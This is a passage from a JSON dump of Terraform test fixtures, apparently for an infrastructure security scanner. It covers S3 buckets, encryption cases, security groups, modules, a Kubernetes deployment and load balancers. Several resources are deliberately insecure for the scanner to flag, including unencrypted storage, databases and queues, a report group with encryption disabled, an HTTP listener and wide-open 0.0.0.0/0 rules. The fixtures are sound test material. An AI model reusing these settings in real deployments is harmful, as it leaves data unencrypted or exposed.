    "content": "resource \"x\" \"x1\" {\n  list = [\"a\", \"list\", \"of values\"]\n  dict = {\n    another = \"another\"\n    a_key = \"a value\"\n  }\n  complex = [\n    {\n      key = \"value\"\n      key2 = \"value2\"\n      listkey = [\"list1\", \"list2\"]\n    },\n    {\n      key = \"value22\"\n      key2 = \"value22\"\n      listkey = [\"listx\", \"listy\"]\n    }\n  ]\n}\n\nresource \"x\" \"x2\" {\n  list = [\"a\", \"list\", \"of values\"]\n  dict = {\n    another = \"another\"\n    a_key = \"a value\"\n  }\n  complex = [\n    {\n      key = \"value\"\n      key2 = \"value2\"\n      listkey = [\"list1\", \"list2\"]\n    },\n    {\n      key = \"value22\"\n      key2 = \"value22\"\n    }\n  ]\n}"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules/main.tf",
    "content": "module \"test\" {\n  source = \"./module\"\n  bucket = aws_s3_bucket.example.id\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules/module/main.tf",
    "content": "locals {\n  bucket = var.bucket\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules/module/variables.tf",
    "content": "variable \"bucket\" {\n  type = string\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules2/inner_module/main.tf",
    "content": "locals {\n  bucket = var.bucket\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules2/inner_module/variables.tf",
    "content": "variable \"bucket\" {\n  type = string\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules2/main.tf",
    "content": "module \"test\" {\n  source = \"./module\"\n  bucket = aws_s3_bucket.example.id\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules2/module/main.tf",
    "content": "locals {\n  bucket = var.bucket\n}\n\nmodule \"inner_module\" {\n  source = \"../inner_module\"\n  bucket = local.bucket\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_modules2/module/variables.tf",
    "content": "variable \"bucket\" {\n  type = string\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_variables/main.tf",
    "content": "variable \"bucket\"{\n  default = aws_s3_bucket.example.id\n}\n\nlocals {\n  bucket = var.bucket\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_variables2/main/main.tf",
    "content": "module \"test\" {\n  source = \"../module\"\n\n  block_public_acls = true\n}"
  },
  {
    "path": "tests/terraform/graph/resources/cross_variables2/module/main.tf",
    "content": "locals {\n  bucket = var.bucket\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket\n  block_public_acls       = var.block_public_acls\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/cross_variables2/module/variables.tf",
    "content": "variable \"bucket\"{\n  default = aws_s3_bucket.example.id\n}\n\nvariable \"block_public_acls\" {\n  type = bool\n}"
  },
  {
    "path": "tests/terraform/graph/resources/dynamic_lambda_function/lambda.tf",
    "content": "resource \"aws_lambda_function\" \"lambda\" {\n\n  function_name                  = \"test\"\n  role = \"\"\n\n  dynamic \"dead_letter_config\" {\n    for_each = var.dlc == null ? [] : [var.dlc]\n    content {\n      target_arn = dead_letter_config.value.target_arn\n    }\n  }\n\n  dynamic \"environment\" {\n    for_each = var.environment == null ? [] : [var.environment]\n    content {\n      variables = environment.value.variables\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/ec2_instance_network_interfaces/main.tf",
    "content": "resource \"aws_vpc\" \"my_vpc\" {\n  cidr_block = \"172.16.0.0/16\"\n\n  tags = {\n    Name = \"tf-example\"\n    Env = \"prod\"\n  }\n}\n\nresource \"aws_subnet\" \"my_subnet\" {\n  vpc_id            = aws_vpc.my_vpc.id\n  cidr_block        = \"172.16.10.0/24\"\n  availability_zone = \"us-west-2a\"\n\n  tags = {\n    Name = \"tf-example\"\n    Env = \"prod\"\n  }\n}\n\nresource \"aws_network_interface\" \"network_interface_foo\" {\n  subnet_id   = aws_subnet.my_subnet.id\n  private_ips = [\"172.16.10.100\"]\n\n  tags = {\n    Name = \"primary_network_interface\"\n    Env = \"prod\"\n  }\n}\n\nresource \"aws_network_interface\" \"network_interface_goo\" {\n  subnet_id   = aws_subnet.my_subnet.id\n  private_ips = [\"172.16.10.100\"]\n\n  tags = {\n    Name = \"secondary_network_interface\"\n    Env = \"dev\"\n  }\n}\n\nresource \"aws_instance\" \"instance_foo\" {\n  ami           = \"ami-005e54dee72cc1d00\" # us-west-2\n  instance_type = \"t2.micro\"\n\n  network_interface {\n    network_interface_id = aws_network_interface.network_interface_foo.id\n    device_index         = 0\n  }\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n}\n\nresource \"aws_instance\" \"instance_bar\" {\n  ami           = \"ami-005e54dee72cc1d00\" # us-west-2\n  instance_type = \"t2.micro\"\n\n  credit_specification {\n    cpu_credits = \"unlimited\"\n  }\n\n  tags = {\n    Env = \"prod\"\n  }\n}\n\nresource \"aws_vpc\" \"other_vpc\" {\n  cidr_block = \"124.16.0.0/16\"\n\n  tags = {\n    Name = \"not_connected\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/ecs_with_merge/main.tf",
    "content": "resource \"aws_ecs_task_definition\" \"service01\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    merge(\n      {\n        name  = \"first\"\n        image = \"service-first\"\n      },\n      {\n        cpu       = 10\n        memory    = 512\n        essential = true\n        portMappings = [\n          {\n            containerPort = 80\n            hostPort      = 80\n          }\n        ]\n      }\n    )\n  ])\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n}\n\nresource \"aws_ecs_task_definition\" \"service02\" {\n  family = \"service\"\n  container_definitions = jsonencode([\n    merge(\n      {\n        name  = \"first\"\n        image = \"service\"\n      },\n      {\n        cpu       = 10\n        memory    = 512\n        essential = true\n        portMappings = [\n          {\n            containerPort = 80\n            hostPort      = 80\n          }\n        ]\n      }\n    )\n  ])\n  volume {\n    name      = \"service-storage\"\n    host_path = \"/ecs/service-storage\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/encryption/main.tf",
    "content": "# Resource names in this file are **important**\n# Encrypted resources _must_ start their name with the word \"encrypted\"\nresource aws_ecr_repository \"encrypted_repo\" {\n  name = \"nimtest-repo\"\n  encryption_configuration {\n    encryption_type = \"AES256\"\n  }\n}\n\nresource aws_ecr_repository \"unencrypted_repo\" {\n  name = \"nimtest-repo-unencrypted\"\n}\n\nresource \"aws_neptune_cluster\" \"encrypted_neptune\" {\n  storage_encrypted = true\n  skip_final_snapshot = true\n}\n\nresource \"aws_neptune_cluster\" \"unencrypted_neptune\" {\n  storage_encrypted = false\n  skip_final_snapshot = true\n}\n\nresource \"aws_efs_file_system\" \"encrypted_file_system\" {\n  encrypted = true\n}\n\nresource \"aws_efs_file_system\" \"unencrypted_file_system\" {\n}\n\nresource \"aws_ebs_volume\" \"encrypted_volume\" {\n  availability_zone = \"us-east-1a\"\n  encrypted = true\n  size = 8\n}\n\nresource \"aws_ebs_volume\" \"unencrypted_volume\" {\n  availability_zone = \"us-east-1a\"\n  size = 8\n}\n\nresource \"aws_ebs_volume\" \"unencrypted_volume2\" {\n  availability_zone = \"us-east-1a\"\n  encrypted = false\n  size = 8\n}\n\nresource \"aws_elasticache_replication_group\" \"encrypted_replication_group\" {\n  replication_group_description = \"nimtest replication group\"\n  replication_group_id = \"nimtest\"\n  at_rest_encryption_enabled = true\n  cluster_mode {\n    num_node_groups = 0\n    replicas_per_node_group = 0\n  }\n}\n\nresource \"aws_elasticache_replication_group\" \"unencrypted_replication_group\" {\n  replication_group_description = \"nimtest replication group\"\n  replication_group_id = \"nimtest\"\n  cluster_mode {\n    num_node_groups = 0\n    replicas_per_node_group = 0\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"encrypted_domain\" {\n  domain_name = \"nimtest-encryption-test\"\n  encrypt_at_rest {\n    enabled = true\n  }\n  node_to_node_encryption {\n    enabled = true\n  }\n}\n\nresource \"aws_elasticsearch_domain\" \"unencrypted_domain\" {\n  domain_name = \"nimtest-encryption-test\"\n  node_to_node_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_msk_cluster\" \"encrypted_msk\" {\n  cluster_name = \"\"\n  kafka_version = \"\"\n  number_of_broker_nodes = 0\n  broker_node_group_info {\n    client_subnets = []\n    ebs_volume_size = 0\n    instance_type = \"\"\n    security_groups = []\n  }\n\n  encryption_info {\n    encryption_in_transit {\n      in_cluster = true\n      client_broker = \"TLS\"\n    }\n    encryption_at_rest_kms_key_arn = \"KMS\"\n  }\n}\n\nresource \"aws_kinesis_stream\" \"encrypted_stream\" {\n  name = \"nimtest\"\n  shard_count = 1\n  encryption_type = \"KMS\"\n  kms_key_id = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_kinesis_stream\" \"unencrypted_stream\" {\n  name = \"nimtest\"\n  shard_count = 1\n}\n\nresource \"aws_s3_bucket\" \"encrypted_bucket_by_default\" {\n  bucket = \"encrypted\"\n}\n\nresource \"aws_s3_bucket\" \"encrypted_bucket\" {\n  bucket = \"unencrypted\"\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        sse_algorithm = \"aws:kms\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"encrypted_bucket_2\" {\n  bucket = \"unencrypted\"\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        sse_algorithm = \"AES256\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket_object\" \"encrypted_object_by_itself\" {\n  bucket = aws_s3_bucket.encrypted_bucket.bucket\n  key = \"some-key.html\"\n\n  server_side_encryption = \"AES256\"\n}\n\nresource \"aws_s3_bucket_object\" \"unencrypted_object_by_bucket\" {\n  bucket = aws_s3_bucket.encrypted_bucket.bucket\n  key = \"some-key.html\"\n}\n\nresource \"aws_sns_topic\" \"encrypted_topic\" {\n  name = \"encrypted\"\n  kms_master_key_id = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_sns_topic\" \"unencrypted_topic\" {\n  name = \"unencrypted\"\n}\n\nresource \"aws_sqs_queue\" \"encrypted_queue\" {\n  name = \"encrypted\"\n  kms_master_key_id = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_sqs_queue\" \"unencrypted_queue\" {\n  name = \"unencrypted\"\n}\n\nresource \"aws_cloudwatch_log_group\" \"encrypted_by_default_cloudwatch_log_group\" {\n  name = \"group\"\n}\n\nresource \"aws_cloudwatch_log_group\" \"encrypted\" {\n  name = \"group\"\n  kms_key_id = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_cloudtrail\" \"encrypted\" {\n  name = \"encrypted\"\n  s3_bucket_name = aws_s3_bucket.encrypted_bucket.bucket\n  kms_key_id = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_cloudtrail\" \"unencrypted\" {\n  name = \"encrypted\"\n  s3_bucket_name = aws_s3_bucket.encrypted_bucket.bucket\n}\n\nresource \"aws_dynamodb_table\" \"encrypted\" {\n  name = \"encrypted\"\n  hash_key = \"\"\n  attribute {\n    name = \"\"\n    type = \"\"\n  }\n  server_side_encryption {\n    enabled = true\n  }\n}\n\nresource \"aws_dynamodb_table\" \"encrypted_by_default_dynamodb_table\" {\n  name = \"encrypted_by_default\"\n  hash_key = \"\"\n  attribute {\n    name = \"\"\n    type = \"\"\n  }\n}\n\nresource \"aws_iam_role\" \"role\" {\n  assume_role_policy = \"\"\n}\n\nresource \"aws_docdb_cluster\" \"encrypted_docdb\" {\n  storage_encrypted = true\n  kms_key_id = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_docdb_cluster\" \"unencrypted_docdb\" {\n  storage_encrypted = false\n}\n\nresource \"aws_codebuild_project\" \"encrypted_project\" {\n  name = \"encrypted\"\n  service_role = \"\"\n  artifacts {\n    type = \"\"\n  }\n  environment {\n    compute_type = \"\"\n    image = \"\"\n    type = \"\"\n  }\n  source {\n    type = \"\"\n  }\n\n  encryption_key = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_codebuild_project\" \"unencrypted_project\" {\n  name = \"unencrypted\"\n  service_role = \"\"\n  artifacts {\n    type = \"\"\n  }\n  environment {\n    compute_type = \"\"\n    image = \"\"\n    type = \"\"\n  }\n  source {\n    type = \"\"\n  }\n}\n\nresource \"aws_codebuild_report_group\" \"encrypted_report_group\" {\n  export_config {\n    type = \"S3\"\n    s3_destination {\n      bucket = \"some-bucket\"\n      encryption_disabled = false\n      encryption_key = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n      packaging = \"NONE\"\n      path = \"/some/path\"\n    }\n  }\n}\n\nresource \"aws_codebuild_report_group\" \"unencrypted_report_group\" {\n  export_config {\n    type = \"S3\"\n    s3_destination {\n      bucket = \"some-bucket\"\n      encryption_disabled = true\n      packaging = \"NONE\"\n      path = \"/some/path\"\n    }\n  }\n}\n\nresource \"aws_athena_database\" \"encrypted_athena_database\" {\n  bucket = \"\"\n  name = \"encrypted\"\n  encryption_configuration {\n    encryption_option = \"SSE_S3\"\n  }\n}\n\nresource \"aws_athena_database\" \"unencrypted_athena_database\" {\n  bucket = \"\"\n  name = \"unencrypted\"\n}\n\nresource \"aws_athena_workgroup\" \"encrypted_workgroup\" {\n  name = \"encrypted\"\n  configuration {\n    result_configuration {\n      encryption_configuration {\n        encryption_option = \"SSE_KMS\"\n        kms_key_arn = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n      }\n    }\n  }\n}\n\nresource \"aws_athena_workgroup\" \"unencrypted_workgroup\" {\n  name = \"unencrypted\"\n}\n\nresource \"aws_eks_cluster\" \"encrypted_eks\" {\n  name = \"\"\n  role_arn = \"\"\n  vpc_config {\n    subnet_ids = []\n  }\n\n  encryption_config {\n    resources = []\n    provider {\n      key_arn = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n    }\n  }\n}\n\nresource \"aws_db_instance\" \"encrypted_instance\" {\n  instance_class = \"\"\n\n  storage_encrypted = true\n}\n\nresource \"aws_db_instance\" \"unencrypted_instance\" {\n  instance_class = \"\"\n\n  storage_encrypted = false\n}\n\nresource \"aws_rds_cluster\" \"encrypted_rds_cluster\" {\n  storage_encrypted = true\n  kms_key_id = \"arn:aws:kms:us-east-1:000000000000:key/some-key-uuid\"\n}\n\nresource \"aws_rds_cluster\" \"unencrypted_rds_cluster\" {\n}\n\nresource \"aws_rds_global_cluster\" \"encrypted_global_rds\" {\n  global_cluster_identifier = \"some-id\"\n  storage_encrypted = true\n}\n\nresource \"aws_rds_global_cluster\" \"unencrypted_global_rds\" {\n  global_cluster_identifier = \"some-id\"\n  storage_encrypted = false\n}\n\nresource \"aws_s3_bucket_inventory\" \"encrypted_s3_inventory\" {\n  bucket = \"\"\n  included_object_versions = \"\"\n  name = \"\"\n  destination {\n    bucket {\n      bucket_arn = \"\"\n      format = \"\"\n      encryption {\n        sse_s3 {}\n      }\n    }\n  }\n  schedule {\n    frequency = \"\"\n  }\n}\n\nresource \"aws_dax_cluster\" \"encrypted_dax_cluster\" {\n  cluster_name = \"dax\"\n  iam_role_arn = \"\"\n  node_type = \"\"\n  replication_factor = 0\n  server_side_encryption {\n    enabled = true\n  }\n}\n\nresource \"aws_dax_cluster\" \"unencrypted_dax_cluster\" {\n  cluster_name = \"dax\"\n  iam_role_arn = \"\"\n  node_type = \"\"\n  replication_factor = 0\n  server_side_encryption {\n    enabled = false\n  }\n}\n\nresource \"aws_redshift_cluster\" \"encrypted_redshift_cluster\" {\n  cluster_identifier = \"redshift\"\n  node_type = \"\"\n  encrypted = true\n}\n\nresource \"aws_redshift_cluster\" \"unencrypted_redshift_cluster\" {\n  cluster_identifier = \"redshift\"\n  node_type = \"\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/encryption_test/main.tf",
    "content": "resource \"aws_rds_cluster\" \"rds_cluster_encrypted\" {\n  cluster_identifier = \"some-encrypted-id\"\n  kms_key_id = \"some-kms-key-id\"\n}\n\nresource \"aws_rds_cluster\" \"rds_cluster_unencrypted\" {\n  cluster_identifier = \"some-unencrypted-id\"\n}\n\nresource \"aws_s3_bucket\" \"encrypted_bucket\" {\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        sse_algorithm = \"AES256\"\n      }\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"unencrypted_bucket\" {\n  versioning {\n    enabled = True\n  }\n}\n\nresource \"aws_neptune_cluster\" \"encrypted_neptune\" {\n  cluster_identifier = \"encrypted-neptune\"\n  storage_encrypted = true\n}\n\nresource \"aws_neptune_cluster\" \"unencrypted_neptune\" {\n  cluster_identifier = \"unencrypted-neptune\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/for_each/main.tf",
    "content": "variable \"bar\" {\n  default = \"foo\"\n}\n\nresource \"null_resource\" \"this\" {\n  for_each = {\n    foobar = var.bar\n  }\n  dynamic \"trigger\" {\n    for_each = {}\n    content {}\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/general_example/main.tf",
    "content": "provider \"aws\" {\n  profile    = var.aws_profile\n  region     = \"us-east-1\"\n  alias  = \"east1\"\n}\n\nlocals {\n  bucket_name          = var.bucket_name\n}\n\nresource \"aws_s3_bucket\" \"template_bucket\" {\n  provider      = aws.east1\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = \"acl\"\n  force_destroy = true\n}"
  },
  {
    "path": "tests/terraform/graph/resources/general_example/variables.tf",
    "content": "variable \"bucket_name\" {\n  default = {\n    val = \"MyBucket\"\n  }\n\n}\n\nvariable \"region\" {\n  default = \"us-west-2\"\n}\n\nvariable \"aws_profile\" {\n  default = \"default\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/graph_files_test/more_vars.tf",
    "content": "variable \"encryption\" {\n  default = \"AES256\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/graph_files_test/pass_s3.tf",
    "content": "resource \"aws_s3_bucket\" \"bucket_with_versioning\" {\n  versioning {\n    enabled = var.versioning\n  }\n\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        sse_algorithm = var.encryption\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/graph_files_test/variables.tf",
    "content": "variable \"versioning\" {\n  default = true\n}"
  },
  {
    "path": "tests/terraform/graph/resources/k8_service/main.tf",
    "content": "locals {\n  name            = \"bazel-remote-cache\"\n  namespace       = var.namespace\n  cache_directory = \"/var/cache/bazel-remote-cache\"\n\n  labels = {\n    \"app.kubernetes.io/name\"       = local.name\n    \"app.kubernetes.io/instance\"   = \"web-server\"\n    \"app.kubernetes.io/version\"    = \"1.0.0\"\n    \"app.kubernetes.io/part-of\"    = \"foundation-infrastructure\"\n    \"app.kubernetes.io/managed-by\" = \"terraform\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"bazel_remote_cache\" {\n  metadata {\n    name      = local.name\n    namespace = local.namespace\n    labels    = local.labels\n\n    annotations = {\n      \"reloader.stakater.com/auto\" = \"true\"\n    }\n  }\n\n  spec {\n    replicas               = var.replicas\n    revision_history_limit = 2\n\n    strategy {\n      type = \"RollingUpdate\"\n\n      rolling_update {\n        max_unavailable = 1\n        max_surge       = 1\n      }\n    }\n\n    selector {\n      match_labels = local.labels\n    }\n\n    template {\n      metadata {\n        name      = local.name\n        namespace = local.namespace\n        labels    = local.labels\n\n        annotations = {\n          \"iam.amazonaws.com/role\" = var.iam_role\n        }\n      }\n\n      spec {\n        termination_grace_period_seconds = 10\n\n        container {\n          name              = local.name\n          image             = \"776709147254.dkr.ecr.us-west-2.amazonaws.com/bazel-remote-cache@sha256:5c7691bf88ee95f6b50953ac58a75db89340fd6d2636c8ca88e785e1e02790fc\"\n          image_pull_policy = \"Always\"\n\n          args = [\"--config_file=/etc/config.yaml\"]\n\n          port {\n            container_port = 8080\n          }\n\n          port {\n            container_port = 9092\n          }\n\n          volume_mount {\n            mount_path = \"/etc/config.yaml\"\n            name       = \"bazel-remote-cache-config\"\n            sub_path   = \"config.yaml\"\n            read_only  = true\n          }\n\n          volume_mount {\n            name       = \"bazel-remote-cache-data\"\n            mount_path = local.cache_directory\n            sub_path   = \"bazel-remote-cache-data\"\n            read_only  = false\n          }\n\n          resources {\n            requests {\n              memory = \"4Gi\"\n              cpu    = \"2\"\n            }\n\n            limits {\n              memory = \"4Gi\"\n              cpu    = \"2\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/status\"\n              port = 8080\n            }\n\n            period_seconds        = 10\n            success_threshold     = 1\n            failure_threshold     = 2\n            initial_delay_seconds = 120\n          }\n\n          readiness_probe {\n            http_get {\n              path = \"/status\"\n              port = 8080\n            }\n\n            period_seconds    = 10\n            success_threshold = 1\n            failure_threshold = 2\n          }\n        }\n\n        volume {\n          name = \"bazel-remote-cache-data\"\n          empty_dir {}\n        }\n\n        volume {\n          name = \"bazel-remote-cache-config\"\n          config_map {\n            name = local.name\n          }\n        }\n\n        affinity {\n          pod_anti_affinity {\n            preferred_during_scheduling_ignored_during_execution {\n              weight = 50\n\n              pod_affinity_term {\n                topology_key = \"domain.beta.kubernetes.io/zone\"\n\n                label_selector {\n                  match_labels = local.labels\n                }\n              }\n            }\n\n            # Require pods to not schedule on the same node as to not use\n            # the same local storate space\n            required_during_scheduling_ignored_during_execution {\n              topology_key = \"kubernetes.io/hostname\"\n              label_selector {\n                match_labels = local.labels\n              }\n            }\n\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/k8_service/variables.tf",
    "content": "variable \"fqdn\" {\n  type        = string\n  description = \"FQDN of this instance of bazel-remote\"\n}\n\nvariable \"elb_bucket\" {\n  type        = string\n  description = \"S3 bucket to keep ELB access logs\"\n}\n\nvariable \"s3_bucket\" {\n  type        = string\n  description = \"The S3 bucket to be used as cache\"\n}\n\nvariable \"iam_role\" {\n  type        = string\n  description = \"The IAM role to assume to access the S3 bucket\"\n}\n\nvariable \"cache_size\" {\n  type        = number\n  default     = 30\n  description = \"The amount of disk space to provision for caching\"\n}\n\nvariable \"replicas\" {\n  type        = number\n  default     = 8\n  description = \"The amount of bazel cache replicas to provision\"\n}\n\nvariable \"namespace_dependency_link\" {\n  type = string\n}\n\nvariable \"namespace\" {\n  type = string\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/lb/main.tf",
    "content": "resource \"aws_lb\" \"lb_bad_1\" {\n  name               = \"test-lb-tf-https-listener\"\n  internal           = false\n  load_balancer_type = \"application\"\n\n  enable_deletion_protection = true\n  tags = {\n    Environment = \"production\"\n  }\n}\n\nresource \"aws_lb_listener\" \"listener_http_1\" {\n  load_balancer_arn = aws_lb.lb_bad_1.arn\n  port              = \"80\"\n  protocol          = \"HTTP\"\n  ssl_policy        = \"ELBSecurityPolicy-2016-08\"\n  certificate_arn   = \"arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4\"\n\n  default_action {\n    type = \"redirect\"\n  }\n}\n\n\nresource \"aws_lb_listener\" \"listener_https_1\" {\n  load_balancer_arn = aws_lb.lb_bad_1.arn\n  port              = \"443\"\n  protocol          = \"HTTPS\"\n  ssl_policy        = \"ELBSecurityPolicy-2016-08\"\n  certificate_arn   = \"arn:aws:iam::187416307283:server-certificate/test_cert_rab3wuqwgja25ct3n4jdj2tzu4\"\n\n  default_action {\n    type = \"redirect\"\n\n    redirect {\n      port        = \"443\"\n      protocol    = \"HTTPS\"\n      status_code = \"HTTP_301\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/lengths/main.tf",
    "content": "resource \"aws_security_group\" \"sg1\" {\n  description = \"sg1\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\", \"25.0.9.19/92\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"8182\"\n  }\n}\n\nresource \"aws_security_group\" \"sg2\" {\n  description = \"security_group_2\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n}\n\nresource \"aws_security_group\" \"sg3\" {\n  description = \"security_group_3\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n}\n\nresource \"aws_security_group\" \"sg4\" {\n  description = \"security_group_4\"\n\n  egress {\n    description = \"Self Reference\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = \"0\"\n    protocol    = \"-1\"\n    self        = \"false\"\n    to_port     = \"0\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n\n  ingress {\n    description     = \"Access to Bastion Host Security Group\"\n    from_port       = \"5432\"\n    protocol        = \"tcp\"\n    security_groups = [\"sg-id-0\"]\n    self            = \"false\"\n    to_port         = \"1234\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/malformed_provider/main.tf",
    "content": "provider {\n  features {}\n}"
  },
  {
    "path": "tests/terraform/graph/resources/module_rendering/example/modules/mock/main.tf",
    "content": "resource \"aws_s3_bucket\" \"some-bucket\" {\n  bucket = \"my-bucket\"\n}\n\noutput \"o1\" {\n  value = aws_s3_bucket.some-bucket.arn\n}"
  },
  {
    "path": "tests/terraform/graph/resources/module_rendering/example/modules/second-mock/main.tf",
    "content": "variable \"input\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/resources/module_rendering/example/stacks/s1/main.tf",
    "content": "module \"mock\" {\n  source = \"../../modules/mock\"\n}\n\nmodule \"second-mock\" {\n  source = \"../../modules/second-mock\"\n  input = module.mock.o1\n}"
  },
  {
    "path": "tests/terraform/graph/resources/module_rendering/example/stacks/s2/main.tf",
    "content": "module \"mock\" {\n  source = \"../../modules/mock\"\n}\n\nmodule \"second-mock\" {\n  source = \"../../modules/second-mock\"\n  input = module.mock.o1\n}"
  },
  {
    "path": "tests/terraform/graph/resources/modules/git_module/main.tf",
    "content": "module \"security_group\" {\n  source  = \"git::https://github.com/terraform-aws-modules/terraform-aws-security-group.git\"\n  version = \"~> 3.0\"\n\n  name        = \"example\"\n  description = \"Security group for example usage with EC2 instance\"\n  vpc_id      = data.aws_vpc.default.id\n\n  ingress_cidr_blocks = [\"0.0.0.0/0\"]\n  ingress_rules       = [\"http-80-tcp\", \"all-icmp\"]\n  egress_rules        = [\"all-all\"]\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/lambda/main.tf",
    "content": "resource \"aws_lambda_function\" \"this\" {\n  count = 0\n\n  function_name                  = \"lambda_function_name\"\n  role                           = \"\"\n  handler                        = \"\"\n  runtime                        = \"\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/modules/linked_modules/external_modules/terraform-aws-modules/lambda/outputs.tf",
